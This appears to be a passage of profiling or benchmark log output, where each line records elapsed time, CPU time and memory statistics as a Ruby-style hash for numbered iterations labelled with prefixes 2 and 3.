3-29: {\"time\" => \"3.803383\", \"utime\" => \"3.746447\", \"stime\" => \"0.040126\", \"memory_block\" => \"27128\", \"memory\" => \"14688\", \"memory_used\" => \"14688\", \"memory_free\" => \"6664\", \"memory_allocated_since_start\" => \"366829.953125\"}\
2-30: {\"time\" => \"3.89144\", \"utime\" => \"3.834457\", \"stime\" => \"0.040126\", \"memory_block\" => \"27128\", \"memory\" => \"20580\", \"memory_used\" => \"20580\", \"memory_free\" => \"772\", \"memory_allocated_since_start\" => \"376717.6875\"}\
3-30: {\"time\" => \"3.898676\", \"utime\" => \"3.84169\", \"stime\" => \"0.040126\", \"memory_block\" => \"27128\", \"memory\" => \"14688\", \"memory_used\" => \"14688\", \"memory_free\" => \"6544\", \"memory_allocated_since_start\" => \"376753.515625\"}\
2-31: {\"time\" => \"3.985481\", \"utime\" => \"3.928452\", \"stime\" => \"0.040126\", \"memory_block\" => \"27128\", \"memory\" => \"20456\", \"memory_used\" => \"20456\", \"memory_free\" => \"776\", \"memory_allocated_since_start\" => \"386508.09375\"}\
3-31: {\"time\" => \"3.992547\", \"utime\" => \"3.935514\", \"stime\" => \"0.040126\", \"memory_block\" => \"27128\", \"memory\" => \"14684\", \"memory_used\" => \"14684\", \"memory_free\" => \"6428\", \"memory_allocated_since_start\" => \"386543.125\"}\
2-32: {\"time\" => \"4.066907\", \"utime\" => \"4.009816\", \"stime\" => \"0.040126\", \"memory_block\" => \"27128\", \"memory\" => \"20332\", \"memory_used\" => \"20332\", \"memory_free\" => \"780\", \"memory_allocated_since_start\" => \"396151.484375\"}\
3-32: {\"time\" => \"4.074493\", \"utime\" => \"4.017397\", \"stime\" => \"0.040126\", \"memory_block\" => \"27128\", \"memory\" => \"14688\", \"memory_used\" => \"14688\", \"memory_free\" => \"6292\", \"memory_allocated_since_start\" => \"396187.890625\"}\
2-33: {\"time\" => \"4.160928\", \"utime\" => \"4.10378\", \"stime\" => \"0.040126\", \"memory_block\" => \"27128\", \"memory\" => \"20212\", \"memory_used\" => \"20212\", \"memory_free\" => \"768\", \"memory_allocated_since_start\" => \"405661.625\"}\
3-33: {\"time\" => \"4.168444\", \"utime\" => \"4.11129\", \"stime\" => \"0.040126\", \"memory_block\" => \"27128\", \"memory\" => \"14688\", \"memory_used\" => \"14688\", \"memory_free\" => \"6160\", \"memory_allocated_since_start\" => \"405689.765625\"}\
2-34: {\"time\" => \"4.244439\", \"utime\" => \"4.187247\", \"stime\" => \"0.040126\", \"memory_block\" => \"27128\", \"memory\" => \"20088\", \"memory_used\" => \"20088\", \"memory_free\" => \"760\", \"memory_allocated_since_start\" => \"415022.53125\"}\
3-34: {\"time\" => \"4.251459\", \"utime\" => \"4.194262\", \"stime\" => \"0.040126\", \"memory_block\" => \"27128\", \"memory\" => \"14688\", \"memory_used\" => \"14688\", \"memory_free\" => \"6040\", \"memory_allocated_since_start\" => \"415052.734375\"}\
2-35: {\"time\" => \"4.328323\", \"utime\" => \"4.271089\", \"stime\" => \"0.040126\", \"memory_block\" => \"27128\", \"memory\" => \"19960\", \"memory_used\" => \"19960\", \"memory_free\" => \"768\", \"memory_allocated_since_start\" => \"424242.6875\"}\
3-35: {\"time\" => \"4.335247\", \"utime\" => \"4.278007\", \"stime\" => \"0.040126\", \"memory_block\" => \"27128\", \"memory\" => \"14688\", \"memory_used\" => \"14688\", \"memory_free\" => \"5920\", \"memory_allocated_since_start\" => \"424273.359375\"}\
2-36: {\"time\" => \"4.40216\", \"utime\" => \"4.34489\", \"stime\" => \"0.040126\", \"memory_block\" => \"27128\", \"memory\" => \"19836\", \"memory_used\" => \"19836\", \"memory_free\" => \"772\", \"memory_allocated_since_start\" => \"433322.0625\"}\
3-36: {\"time\" => \"4.409436\", \"utime\" => \"4.352165\", \"stime\" => \"0.040126\", \"memory_block\" => \"27128\", \"memory\" => \"14688\", \"memory_used\" => \"14688\", \"memory_free\" => \"5800\", \"memory_allocated_since_start\" => \"433353.453125\"}\
2-37: {\"time\" => \"4.480377\", \"utime\" => \"4.422982\", \"stime\" => \"0.040126\", \"memory_block\" => \"27128\", \"memory\" => \"19708\", \"memory_used\" => \"19708\", \"memory_free\" => \"780\", \"memory_allocated_since_start\" => \"442260.015625\"}\
3-37: {\"time\" => \"4.488176\", \"utime\" => \"4.430777\", \"stime\" => \"0.040126\", \"memory_block\" => \"27128\", \"memory\" => \"14692\", \"memory_used\" => \"14692\", \"memory_free\" => \"5664\", \"memory_allocated_since_start\" => \"442293.421875\"}\
2-38: {\"time\" => \"4.561679\", \"utime\" => \"4.504242\", \"stime\" => \"0.040126\", \"memory_block\" => \"27128\", \"memory\" => \"19584\", \"memory_used\" => \"19584\", \"memory_free\" => \"772\", \"memory_allocated_since_start\" => \"451058.71875\"}\
3-38: {\"time\" => \"4.569179\", \"utime\" => \"4.511739\", \"stime\" => \"0.040126\", \"memory_block\" => \"27128\", \"memory\" => \"14688\", \"memory_used\" => \"14688\", \"memory_free\" => \"5556\", \"memory_allocated_since_start\" => \"451094.875\"}\
2-39: {\"time\" => \"4.6362\", \"utime\" => \"4.57873\", \"stime\" => \"0.040126\", \"memory_block\" => \"27128\", \"memory\" => \"19460\", \"memory_used\" => \"19460\", \"memory_free\" => \"784\", \"memory_allocated_since_start\" => \"459721.03125\"}\
3-39: {\"time\" => \"4.643911\", \"utime\" => \"4.586436\", \"stime\" => \"0.040126\", \"memory_block\" => \"27128\", \"memory\" => \"14688\", \"memory_used\" => \"14688\", \"memory_free\" => \"5420\", \"memory_allocated_since_start\" => \"459752.34375\"}\
2-40: {\"time\" => \"4.717722\", \"utime\" => \"4.66021\", \"stime\" => \"0.040126\", \"memory_block\" => \"27128\", \"memory\" => \"19332\", \"memory_used\" => \"19332\", \"memory_free\" => \"776\", \"memory_allocated_since_start\" => \"468233.015625\"}\
3-40: {\"time\" => \"4.725484\", \"utime\" => \"4.663966\", \"stime\" => \"0.044124\", \"memory_block\" => \"27128\", \"memory\" => \"14688\", \"memory_used\" => \"14688\", \"memory_free\" => \"5292\", \"memory_allocated_since_start\" => \"468272.234375\"}\
2-41: {\"time\" => \"4.790963\", \"utime\" => \"4.729443\", \"stime\" => \"0.044124\", \"memory_block\" => \"27128\", \"memory\" => \"19208\", \"memory_used\" => \"19208\", \"memory_free\" => \"772\", \"memory_allocated_since_start\" => \"476613.265625\"}\
3-41: {\"time\" => \"4.798363\", \"utime\" => \"4.736809\", \"stime\" => \"0.044124\", \"memory_block\" => \"27128\", \"memory\" => \"14688\", \"memory_used\" => \"14688\", \"memory_free\" => \"5172\", \"memory_allocated_since_start\" => \"476646.65625\"}\
2-42: {\"time\" => \"4.861519\", \"utime\" => \"4.799935\", \"stime\" => \"0.044124\", \"memory_block\" => \"27128\", \"memory\" => \"19088\", \"memory_used\" => \"19088\", \"memory_free\" => \"772\", \"memory_allocated_since_start\" => \"484854.328125\"}\
3-42: {\"time\" => \"4.868653\", \"utime\" => \"4.80707\", \"stime\" => \"0.044124\", \"memory_block\" => \"27128\", \"memory\" => \"14684\", \"memory_used\" => \"14684\", \"memory_free\" => \"5048\", \"memory_allocated_since_start\" => \"484882.703125\"}\
2-43: {\"time\" => \"4.934102\", \"utime\" => \"4.872481\", \"stime\" => \"0.044124\", \"memory_block\" => \"27128\", \"memory\" => \"18960\", \"memory_used\" => \"18960\", \"memory_free\" => \"772\", \"memory_allocated_since_start\" => \"492953.15625\"}\
3-43: {\"time\" => \"4.94149\", \"utime\" => \"4.879865\", \"stime\" => \"0.044124\", \"memory_block\" => \"27128\", \"memory\" => \"14692\", \"memory_used\" => \"14692\", \"memory_free\" => \"4920\", \"memory_allocated_since_start\" => \"492982.328125\"}\
2-44: {\"time\" => \"4.999526\", \"utime\" => \"4.937872\", \"stime\" => \"0.044124\", \"memory_block\" => \"27128\", \"memory\" => \"18836\", \"memory_used\" => \"18836\", \"memory_free\" => \"776\", \"memory_allocated_since_start\" => \"500907.359375\"}\
3-44: {\"time\" => \"5.006571\", \"utime\" => \"4.944914\", \"stime\" => \"0.044124\", \"memory_block\" => \"27128\", \"memory\" => \"14688\", \"memory_used\" => \"14688\", \"memory_free\" => \"4796\", \"memory_allocated_since_start\" => \"500937.015625\"}\
2-45: {\"time\" => \"5.06295\", \"utime\" => \"5.001264\", \"stime\" => \"0.044124\", \"memory_block\" => \"27128\", \"memory\" => \"18708\", \"memory_used\" => \"18708\", \"memory_free\" => \"776\", \"memory_allocated_since_start\" => \"508721.953125\"}\
3-45: {\"time\" => \"5.069948\", \"utime\" => \"5.004014\", \"stime\" => \"0.048369\", \"memory_block\" => \"27128\", \"memory\" => \"14692\", \"memory_used\" => \"14692\", \"memory_free\" => \"4664\", \"memory_allocated_since_start\" => \"508753.640625\"}\
2-46: {\"time\" => \"5.129629\", \"utime\" => \"5.063667\", \"stime\" => \"0.048369\", \"memory_block\" => \"27128\", \"memory\" => \"18584\", \"memory_used\" => \"18584\", \"memory_free\" => \"772\", \"memory_allocated_since_start\" => \"516395.59375\"}\
3-46: {\"time\" => \"5.137066\", \"utime\" => \"5.0711\", \"stime\" => \"0.048369\", \"memory_block\" => \"27128\", \"memory\" => \"14688\", \"memory_used\" => \"14688\", \"memory_free\" => \"4548\", \"memory_allocated_since_start\" => \"516424.15625\"}\
2-47: {\"time\" => \"5.192813\", \"utime\" => \"5.126806\", \"stime\" => \"0.048369\", \"memory_block\" => \"27128\", \"memory\" => \"18460\", \"memory_used\" => \"18460\", \"memory_free\" => \"776\", \"memory_allocated_since_start\" => \"523930.953125\"}\
3-47: {\"time\" => \"5.201957\", \"utime\" => \"5.13164\", \"stime\" => \"0.052676\", \"memory_block\" => \"27128\", \"memory\" => \"14692\", \"memory_used\" => \"14692\", \"memory_free\" => \"4416\", \"memory_allocated_since_start\" => \"523956.8125\"}\
2-48: {\"time\" => \"5.252885\", \"utime\" => \"5.182539\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"18332\", \"memory_used\" => \"18332\", \"memory_free\" => \"776\", \"memory_allocated_since_start\" => \"531319.46875\"}\
3-48: {\"time\" => \"5.260488\", \"utime\" => \"5.190138\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"14692\", \"memory_used\" => \"14692\", \"memory_free\" => \"4288\", \"memory_allocated_since_start\" => \"531352.75\"}\
2-49: {\"time\" => \"5.311408\", \"utime\" => \"5.241032\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"18208\", \"memory_used\" => \"18208\", \"memory_free\" => \"772\", \"memory_allocated_since_start\" => \"538574.5625\"}\
3-49: {\"time\" => \"5.318566\", \"utime\" => \"5.248186\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"14688\", \"memory_used\" => \"14688\", \"memory_free\" => \"4168\", \"memory_allocated_since_start\" => \"538606.375\"}\
2-50: {\"time\" => \"5.368688\", \"utime\" => \"5.298285\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"18080\", \"memory_used\" => \"18080\", \"memory_free\" => \"776\", \"memory_allocated_since_start\" => \"545680.46875\"}\
3-50: {\"time\" => \"5.376155\", \"utime\" => \"5.305752\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"14688\", \"memory_used\" => \"14688\", \"memory_free\" => \"4040\", \"memory_allocated_since_start\" => \"545716.859375\"}\
2-51: {\"time\" => \"5.423097\", \"utime\" => \"5.352666\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"17956\", \"memory_used\" => \"17956\", \"memory_free\" => \"772\", \"memory_allocated_since_start\" => \"552654.34375\"}\
3-51: {\"time\" => \"5.430843\", \"utime\" => \"5.360407\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"14688\", \"memory_used\" => \"14688\", \"memory_free\" => \"3920\", \"memory_allocated_since_start\" => \"552689.84375\"}\
2-52: {\"time\" => \"5.478336\", \"utime\" => \"5.407877\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"17836\", \"memory_used\" => \"17836\", \"memory_free\" => \"772\", \"memory_allocated_since_start\" => \"559489.171875\"}\
3-52: {\"time\" => \"5.48559\", \"utime\" => \"5.415126\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"14692\", \"memory_used\" => \"14692\", \"memory_free\" => \"3788\", \"memory_allocated_since_start\" => \"559518.5\"}\
2-53: {\"time\" => \"5.532213\", \"utime\" => \"5.461728\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"17708\", \"memory_used\" => \"17708\", \"memory_free\" => \"772\", \"memory_allocated_since_start\" => \"566176.765625\"}\
3-53: {\"time\" => \"5.539883\", \"utime\" => \"5.469392\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"14692\", \"memory_used\" => \"14692\", \"memory_free\" => \"3660\", \"memory_allocated_since_start\" => \"566214.59375\"}\
2-54: {\"time\" => \"5.580979\", \"utime\" => \"5.510472\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"17580\", \"memory_used\" => \"17580\", \"memory_free\" => \"772\", \"memory_allocated_since_start\" => \"572726.21875\"}\
3-54: {\"time\" => \"5.58855\", \"utime\" => \"5.518034\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"14688\", \"memory_used\" => \"14688\", \"memory_free\" => \"3544\", \"memory_allocated_since_start\" => \"572758.90625\"}\
2-55: {\"time\" => \"5.630712\", \"utime\" => \"5.56018\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"17460\", \"memory_used\" => \"17460\", \"memory_free\" => \"772\", \"memory_allocated_since_start\" => \"579140.078125\"}\
3-55: {\"time\" => \"5.638397\", \"utime\" => \"5.567857\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"14688\", \"memory_used\" => \"14688\", \"memory_free\" => \"3424\", \"memory_allocated_since_start\" => \"579168.078125\"}\
2-56: {\"time\" => \"5.682718\", \"utime\" => \"5.612157\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"17368\", \"memory_used\" => \"17368\", \"memory_free\" => \"744\", \"memory_allocated_since_start\" => \"585403.8125\"}\
3-56: {\"time\" => \"5.690363\", \"utime\" => \"5.619799\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"14688\", \"memory_used\" => \"14688\", \"memory_free\" => \"3296\", \"memory_allocated_since_start\" => \"585436.625\"}\
2-57: {\"time\" => \"5.729041\", \"utime\" => \"5.658457\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"17300\", \"memory_used\" => \"17300\", \"memory_free\" => \"684\", \"memory_allocated_since_start\" => \"591531.90625\"}\
3-57: {\"time\" => \"5.736419\", \"utime\" => \"5.66583\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"14680\", \"memory_used\" => \"14680\", \"memory_free\" => \"3176\", \"memory_allocated_since_start\" => \"591560.171875\"}\
2-58: {\"time\" => \"5.772785\", \"utime\" => \"5.70218\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"17236\", \"memory_used\" => \"17236\", \"memory_free\" => \"620\", \"memory_allocated_since_start\" => \"597516.625\"}\
3-58: {\"time\" => \"5.780449\", \"utime\" => \"5.709838\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"14684\", \"memory_used\" => \"14684\", \"memory_free\" => \"3044\", \"memory_allocated_since_start\" => \"597547.671875\"}\
2-59: {\"time\" => \"5.81254\", \"utime\" => \"5.741915\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"17176\", \"memory_used\" => \"17176\", \"memory_free\" => \"552\", \"memory_allocated_since_start\" => \"603364.484375\"}\
3-59: {\"time\" => \"5.819945\", \"utime\" => \"5.749316\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"14684\", \"memory_used\" => \"14684\", \"memory_free\" => \"2924\", \"memory_allocated_since_start\" => \"603396.328125\"}\
2-60: {\"time\" => \"5.85278\", \"utime\" => \"5.782135\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"17112\", \"memory_used\" => \"17112\", \"memory_free\" => \"496\", \"memory_allocated_since_start\" => \"609069\"}\
3-60: {\"time\" => \"5.86059\", \"utime\" => \"5.78994\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"14688\", \"memory_used\" => \"14688\", \"memory_free\" => \"2792\", \"memory_allocated_since_start\" => \"609102.421875\"}\
2-61: {\"time\" => \"5.890707\", \"utime\" => \"5.820044\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"17048\", \"memory_used\" => \"17048\", \"memory_free\" => \"432\", \"memory_allocated_since_start\" => \"614634.125\"}\
3-61: {\"time\" => \"5.898441\", \"utime\" => \"5.827771\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"14684\", \"memory_used\" => \"14684\", \"memory_free\" => \"2668\", \"memory_allocated_since_start\" => \"614666.59375\"}\
2-62: {\"time\" => \"5.927935\", \"utime\" => \"5.857252\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"16984\", \"memory_used\" => \"16984\", \"memory_free\" => \"368\", \"memory_allocated_since_start\" => \"620055.203125\"}\
3-62: {\"time\" => \"5.935411\", \"utime\" => \"5.864723\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"14684\", \"memory_used\" => \"14684\", \"memory_free\" => \"2580\", \"memory_allocated_since_start\" => \"620092.15625\"}\
2-63: {\"time\" => \"5.962825\", \"utime\" => \"5.892124\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"16928\", \"memory_used\" => \"16928\", \"memory_free\" => \"336\", \"memory_allocated_since_start\" => \"625345.8125\"}\
3-63: {\"time\" => \"5.970414\", \"utime\" => \"5.899708\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"14684\", \"memory_used\" => \"14684\", \"memory_free\" => \"2508\", \"memory_allocated_since_start\" => \"625375.65625\"}\
2-64: {\"time\" => \"5.995805\", \"utime\" => \"5.925087\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"16864\", \"memory_used\" => \"16864\", \"memory_free\" => \"328\", \"memory_allocated_since_start\" => \"630488.890625\"}\
3-64: {\"time\" => \"6.002921\", \"utime\" => \"5.9322\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"14684\", \"memory_used\" => \"14684\", \"memory_free\" => \"2452\", \"memory_allocated_since_start\" => \"630520.125\"}\
2-65: {\"time\" => \"6.027878\", \"utime\" => \"5.957148\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"16800\", \"memory_used\" => \"16800\", \"memory_free\" => \"336\", \"memory_allocated_since_start\" => \"635492.046875\"}\
3-65: {\"time\" => \"6.035146\", \"utime\" => \"5.964407\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"14684\", \"memory_used\" => \"14684\", \"memory_free\" => \"2388\", \"memory_allocated_since_start\" => \"635521.265625\"}\
2-66: {\"time\" => \"6.062016\", \"utime\" => \"5.991266\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"16736\", \"memory_used\" => \"16736\", \"memory_free\" => \"336\", \"memory_allocated_since_start\" => \"640351.3125\"}\
3-66: {\"time\" => \"6.069397\", \"utime\" => \"5.998641\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"14684\", \"memory_used\" => \"14684\", \"memory_free\" => \"2324\", \"memory_allocated_since_start\" => \"640383.125\"}\
2-67: {\"time\" => \"6.092212\", \"utime\" => \"6.021447\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"16672\", \"memory_used\" => \"16672\", \"memory_free\" => \"336\", \"memory_allocated_since_start\" => \"645072.34375\"}\
3-67: {\"time\" => \"6.099388\", \"utime\" => \"6.028618\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"14684\", \"memory_used\" => \"14684\", \"memory_free\" => \"2260\", \"memory_allocated_since_start\" => \"645102.015625\"}\
2-68: {\"time\" => \"6.120383\", \"utime\" => \"6.049583\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"16612\", \"memory_used\" => \"16612\", \"memory_free\" => \"332\", \"memory_allocated_since_start\" => \"649652.9375\"}\
3-68: {\"time\" => \"6.129221\", \"utime\" => \"6.05844\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"14684\", \"memory_used\" => \"14684\", \"memory_free\" => \"2204\", \"memory_allocated_since_start\" => \"649682.90625\"}\
2-69: {\"time\" => \"6.150536\", \"utime\" => \"6.079721\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"16548\", \"memory_used\" => \"16548\", \"memory_free\" => \"340\", \"memory_allocated_since_start\" => \"654092.90625\"}\
3-69: {\"time\" => \"6.157432\", \"utime\" => \"6.086612\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"14684\", \"memory_used\" => \"14684\", \"memory_free\" => \"2140\", \"memory_allocated_since_start\" => \"654121.703125\"}\
2-70: {\"time\" => \"6.176978\", \"utime\" => \"6.106144\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"16484\", \"memory_used\" => \"16484\", \"memory_free\" => \"340\", \"memory_allocated_since_start\" => \"658388.765625\"}\
3-70: {\"time\" => \"6.184752\", \"utime\" => \"6.113913\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"14684\", \"memory_used\" => \"14684\", \"memory_free\" => \"2072\", \"memory_allocated_since_start\" => \"658425.953125\"}\
2-71: {\"time\" => \"6.202915\", \"utime\" => \"6.132069\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"16420\", \"memory_used\" => \"16420\", \"memory_free\" => \"336\", \"memory_allocated_since_start\" => \"662545.9375\"}\
3-71: {\"time\" => \"6.2098\", \"utime\" => \"6.138948\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"14684\", \"memory_used\" => \"14684\", \"memory_free\" => \"2008\", \"memory_allocated_since_start\" => \"662583.53125\"}\
2-72: {\"time\" => \"6.226839\", \"utime\" => \"6.155981\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"16360\", \"memory_used\" => \"16360\", \"memory_free\" => \"332\", \"memory_allocated_since_start\" => \"666565.734375\"}\
3-72: {\"time\" => \"6.234408\", \"utime\" => \"6.163544\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"14684\", \"memory_used\" => \"14684\", \"memory_free\" => \"1948\", \"memory_allocated_since_start\" => \"666600.453125\"}\
2-73: {\"time\" => \"6.250394\", \"utime\" => \"6.179526\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"16296\", \"memory_used\" => \"16296\", \"memory_free\" => \"336\", \"memory_allocated_since_start\" => \"670442.96875\"}\
3-73: {\"time\" => \"6.258365\", \"utime\" => \"6.187489\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"14684\", \"memory_used\" => \"14684\", \"memory_free\" => \"1884\", \"memory_allocated_since_start\" => \"670478.5\"}\
2-74: {\"time\" => \"6.275008\", \"utime\" => \"6.204126\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"16232\", \"memory_used\" => \"16232\", \"memory_free\" => \"336\", \"memory_allocated_since_start\" => \"674182.578125\"}\
3-74: {\"time\" => \"6.283261\", \"utime\" => \"6.212373\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"14676\", \"memory_used\" => \"14676\", \"memory_free\" => \"1828\", \"memory_allocated_since_start\" => \"674216.28125\"}\
2-75: {\"time\" => \"6.300969\", \"utime\" => \"6.2301\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"16168\", \"memory_used\" => \"16168\", \"memory_free\" => \"336\", \"memory_allocated_since_start\" => \"677785.078125\"}\
3-75: {\"time\" => \"6.313291\", \"utime\" => \"6.242395\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"14684\", \"memory_used\" => \"14684\", \"memory_free\" => \"1756\", \"memory_allocated_since_start\" => \"677818.03125\"}\
2-76: {\"time\" => \"6.32789\", \"utime\" => \"6.256981\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"16108\", \"memory_used\" => \"16108\", \"memory_free\" => \"332\", \"memory_allocated_since_start\" => \"681239.890625\"}\
3-76: {\"time\" => \"6.335907\", \"utime\" => \"6.264993\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"14684\", \"memory_used\" => \"14684\", \"memory_free\" => \"1700\", \"memory_allocated_since_start\" => \"681274.125\"}\
2-77: {\"time\" => \"6.350793\", \"utime\" => \"6.279879\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"16044\", \"memory_used\" => \"16044\", \"memory_free\" => \"340\", \"memory_allocated_since_start\" => \"684555.875\"}\
3-77: {\"time\" => \"6.358693\", \"utime\" => \"6.287769\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"14688\", \"memory_used\" => \"14688\", \"memory_free\" => \"1632\", \"memory_allocated_since_start\" => \"684584.921875\"}\
2-78: {\"time\" => \"6.374102\", \"utime\" => \"6.303169\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"15984\", \"memory_used\" => \"15984\", \"memory_free\" => \"336\", \"memory_allocated_since_start\" => \"687730.96875\"}\
3-78: {\"time\" => \"6.382558\", \"utime\" => \"6.31162\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"14688\", \"memory_used\" => \"14688\", \"memory_free\" => \"1568\", \"memory_allocated_since_start\" => \"687762.9375\"}\
2-79: {\"time\" => \"6.393756\", \"utime\" => \"6.322813\", \"stime\" => \"0.052677\", \"memory_block\" => \"27128\", \"memory\" => \"15920\", \"memory_used\" => \"15920\", \"memory_free\" => \"336\", \"memory_allocated_since_start\" => \"690766.671875\"}\
3-79: {\"time\" => \"6.401795\", \"utime\" => \"6.327192\", \"stime\" => \"0.056337\", \"memory_block\" => \"27128\", \"memory\" => \"14688\", \"memory_used\" => \"14688\", \"memory_free\" => \"1504\", \"memory_allocated_since_start\" => \"690796.453125\"}\
2-80: {\"time\" => \"6.412669\", \"utime\" => \"6.338055\", \"stime\" => \"0.056338\", \"memory_block\" => \"27128\", \"memory\" => \"15860\", \"memory_used\" => \"15860\", \"memory_free\" => \"332\", \"memory_allocated_since_start\" => \"693660.046875\"}\
3-80: {\"time\" => \"6.420476\", \"utime\" => \"6.345919\", \"stime\" => \"0.056338\", \"memory_block\" => \"27128\", \"memory\" => \"14688\", \"memory_used\" => \"14688\", \"memory_free\" => \"1436\", \"memory_allocated_since_start\" => \"693688.296875\"}\
2-81: {\"time\" => \"6.430626\", \"utime\" => \"6.356003\", \"stime\" => \"0.056338\", \"memory_block\" => \"27128\", \"memory\" => \"15796\", \"memory_used\" => \"15796\", \"memory_free\" => \"328\", \"memory_allocated_since_start\" => \"696411.09375\"}\
3-81: {\"time\" => \"6.437658\", \"utime\" => \"6.363033\", \"stime\" => \"0.056338\", \"memory_block\" => \"27128\", \"memory\" => \"14692\", \"memory_used\" => \"14692\", \"memory_free\" => \"1372\", \"memory_allocated_since_start\" => \"696444.3125\"}\
2-82: {\"time\" => \"6.447221\", \"utime\" => \"6.37259\", \"stime\" => \"0.056338\", \"memory_block\" => \"27128\", \"memory\" => \"15732\", \"memory_used\" => \"15732\", \"memory_free\" => \"332\", \"memory_allocated_since_start\" => \"699021.65625\"}\
3-82: {\"time\" => \"6.455361\", \"utime\" => \"6.380729\", \"stime\" => \"0.056338\", \"memory_block\" => \"27128\", \"memory\" => \"14688\", \"memory_used\" => \"14688\", \"memory_free\" => \"1312\", \"memory_allocated_since_start\" => \"699057.640625\"}\
2-83: {\"time\" => \"6.466779\", \"utime\" => \"6.39215\", \"stime\" => \"0.056338\", \"memory_block\" => \"27128\", \"memory\" => \"15668\", \"memory_used\" => \"15668\", \"memory_free\" => \"332\", \"memory_allocated_since_start\" => \"701491.671875\"}\
3-83: {\"time\" => \"6.475052\", \"utime\" => \"6.400417\", \"stime\" => \"0.056338\", \"memory_block\" => \"27128\", \"memory\" => \"14688\", \"memory_used\" => \"14688\", \"memory_free\" => \"1248\", \"memory_allocated_since_start\" => \"701528.03125\"}\
2-84: {\"time\" => \"6.483554\", \"utime\" => \"6.408905\", \"stime\" => \"0.056338\", \"memory_block\" => \"27128\", \"memory\" => \"15608\", \"memory_used\" => \"15608\", \"memory_free\" => \"328\", \"memory_allocated_since_start\" => \"703823.21875\"}\
3-84: {\"time\" => \"6.491406\", \"utime\" => \"6.416753\", \"stime\" => \"0.056338\", \"memory_block\" => \"27128\", \"memory\" => \"14684\", \"memory_used\" => \"14684\", \"memory_free\" => \"1192\", \"memory_allocated_since_start\" => \"703855.171875\"}\
2-85: {\"time\" => \"6.499388\", \"utime\" => \"6.424732\", \"stime\" => \"0.056338\", \"memory_block\" => \"27128\", \"memory\" => \"15544\", \"memory_used\" => \"15544\", \"memory_free\" => \"332\", \"memory_allocated_since_start\" => \"706017.65625\"}\
